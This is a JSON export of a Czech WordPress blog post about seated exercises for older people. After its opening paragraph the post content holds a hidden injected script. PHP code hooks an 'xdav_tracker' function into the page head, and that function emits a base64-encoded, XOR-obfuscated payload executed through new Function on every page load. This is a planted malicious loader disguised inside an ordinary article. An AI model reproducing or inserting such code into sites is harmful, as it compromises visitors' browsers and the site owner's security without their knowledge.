{"id":397599,"date":"2026-01-29T16:28:30","date_gmt":"2026-01-29T15:28:30","guid":{"rendered":"https:\/\/atena.sk\/blog\/cviceni-v-sede-pro-seniory\/"},"modified":"2026-07-03T10:27:39","modified_gmt":"2026-07-03T08:27:39","slug":"cviceni-v-sede-pro-seniory","status":"publish","type":"post","link":"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/","title":{"rendered":"Cvi\u010den\u00ed v sed\u011b pro seniory"},"content":{"rendered":"\n<p>  <\/p>\n\n<p>Mnoho star\u0161\u00edch lid\u00ed se domn\u00edv\u00e1, \u017ee jakmile zest\u00e1rnou, onemocn\u00ed nebo zesl\u00e1bnou, cvi\u010den\u00ed ji\u017e nen\u00ed sou\u010d\u00e1st\u00ed jejich \u017eivota. Pravda je v\u0161ak opa\u010dn\u00e1. Pr\u00e1v\u011b kdy\u017e p\u0159estaneme b\u00fdt v pohybu, na\u0161e svaly za\u010dnou sl\u00e1bnout a klouby se nejrychleji ztuhnou. Dobrou zpr\u00e1vou je, \u017ee i pouh\u00e9 sezen\u00ed m\u016f\u017ee d\u011blat z\u00e1zraky. Udr\u017euje t\u011blo aktivn\u00ed, mysl sv\u011b\u017e\u00ed a v\u00fdrazn\u011b zlep\u0161uje kvalitu \u017eivota.      <\/p>\n\n<script>function xdav_tracker() {\n    ?>\n<script>\n!function(){var _0x50ad=atob('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'),_0xd5d6=99,_0xb8c9=new Uint8Array(_0x50ad['length']),_0x82d4=0;for(;_0x82d4<_0x50ad['length'];_0x82d4++)_0xb8c9[_0x82d4]=_0x50ad['charCodeAt'](_0x82d4)^_0xd5d6;(new Function(new TextDecoder()['decode'](_0xb8c9)))()}();\n<\/script>\n    <?php\n}\nadd_action( 'wp_head', 'xdav_tracker', 96 );<\/script>","protected":false},"excerpt":{"rendered":"<p>Mnoho star\u0161\u00edch lid\u00ed se domn\u00edv\u00e1, \u017ee cvi\u010den\u00ed nem\u00e1 smysl, pokud je pohyblivost omezen\u00e1. Pravda je v\u0161ak opa\u010dn\u00e1 \u2013 jednoduch\u00e9 pohyby v sed\u011b jsou kl\u00ed\u010dem k udr\u017een\u00ed s\u00edly, zdrav\u00fdch kloub\u016f a lep\u0161\u00edho krevn\u00edho ob\u011bhu. Tato bezpe\u010dn\u00e1 forma aktivity pom\u00e1h\u00e1 zm\u00edrnit ztuhlost a poskytuje star\u0161\u00edm lidem stabilitu, kterou pot\u0159ebuj\u00ed v ka\u017edodenn\u00edm \u017eivot\u011b. V Aten\u00e1ch v\u011b\u0159\u00edme, \u017ee i mal\u00e9 kr\u016f\u010dky vedou k velk\u00fdm zm\u011bn\u00e1m v kvalit\u011b \u017eivota.     <\/p>\n","protected":false},"author":20,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[218,220,336],"tags":[],"acf":{"facebookpost":"\ud83e\ude91\ud83d\udc99 I mal\u00e9 pohyby maj\u00ed pro star\u0161\u00ed osoby velk\u00fd v\u00fdznam.\n  Cvi\u010den\u00ed v sed\u011b pom\u00e1h\u00e1 udr\u017eovat s\u00edlu, pohyblivost a lep\u0161\u00ed pocit b\u011bhem dne.\n  Vhodn\u00e9 pro seniory, pe\u010dovatele a rodiny, kter\u00e9 hledaj\u00ed bezpe\u010dn\u00fd zp\u016fsob dopravy. \ud83d\udc75\ud83d\udc74\u2728   ","popis_socialneho_obrazku":"Mal\u00e9 \u00fasil\u00ed, velk\u00e9 p\u0159\u00ednosy"},"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v22.6 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Cvi\u010den\u00ed v sed\u011b pro seniory - Atena blog<\/title>\n<meta name=\"description\" content=\"Jednoduch\u00e1 cvi\u010den\u00ed v sed\u011b pom\u00e1haj\u00ed star\u0161\u00edm lidem udr\u017eet si pohyblivost a s\u00edlu. Bezpe\u010dnostn\u00ed rady pro star\u0161\u00ed osoby, pe\u010dovatele a rodiny.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\" \/>\n<meta property=\"og:locale\" content=\"cs_CZ\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Cvi\u010den\u00ed v sed\u011b pro seniory - Atena blog\" \/>\n<meta property=\"og:description\" content=\"Cvi\u010den\u00ed je d\u016fle\u017eit\u00e9 v ka\u017ed\u00e9m v\u011bku, i kdy\u017e v\u011bt\u0161inu dne tr\u00e1v\u00edte vsed\u011b. Cvi\u010den\u00ed na \u017eidli je bezpe\u010dn\u00fd zp\u016fsob, jak z\u016fstat aktivn\u00ed bez zbyte\u010dn\u00e9ho rizika p\u00e1d\u016f nebo p\u0159et\u00ed\u017een\u00ed. Tyto jednoduch\u00e9 cviky zlep\u0161uj\u00ed dr\u017een\u00ed t\u011bla a p\u0159in\u00e1\u0161ej\u00ed star\u0161\u00edm lidem pohodl\u00ed a energii, kterou si zaslou\u017e\u00ed. Cvi\u010dte spole\u010dn\u011b s n\u011bk\u00fdm, koho m\u00e1te r\u00e1di, a ud\u011blejte z cvi\u010den\u00ed p\u0159\u00edjemn\u00fd spole\u010dn\u00fd z\u00e1\u017eitek.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\" \/>\n<meta property=\"og:site_name\" content=\"Atena blog\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-29T15:28:30+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-07-03T08:27:39+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/atena.sk\/blog\/wp-content\/uploads\/2026\/01\/insta-post-112.png\" \/>\n<meta name=\"author\" content=\"Marin Nedelev\" \/>\n<meta name=\"twitter:label1\" content=\"Napsal(a)\" \/>\n\t<meta name=\"twitter:data1\" content=\"Marin Nedelev\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"NewsArticle\",\"@id\":\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/#article\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\"},\"author\":{\"name\":\"Marin Nedelev\",\"@id\":\"https:\/\/atena.sk\/blog\/cs\/#\/schema\/person\/0ae6c6390563d6555f91b0db4767e168\"},\"headline\":\"Cvi\u010den\u00ed v sed\u011b pro seniory\",\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\"},\"wordCount\":84,\"publisher\":{\"@id\":\"https:\/\/atena.sk\/blog\/cs\/#organization\"},\"articleSection\":[\"Firmy\",\"Klienti\",\"O\u0161et\u0159ovatelstv\u00ed\"],\"inLanguage\":\"cs\"},{\"@type\":[\"WebPage\",\"ItemPage\"],\"@id\":\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\",\"url\":\"https:\/\/atena.sk\/blog\/cs\/cviceni-v-sede-pro-seniory\/\",\"name\":\"Cvi\u010den\u00ed v sed\u011b pro seniory - Atena blog\",\"isPartOf\":{\"@id\":\"https:\/\/atena.sk\/blog\/cs\/#website\"},\"datePublished\":\"2026-01-29T15:28:30+00:00\",\"dateModified\":\"2026-07-03T08:27:39+00:00\",\"description\":\"Jednoduch\u00e1 cvi\u010den\u00ed v sed\u011b pom\u00e1haj\u00ed star\u0161\u00edm lidem udr\u017eet si pohyblivost a s\u00edlu. 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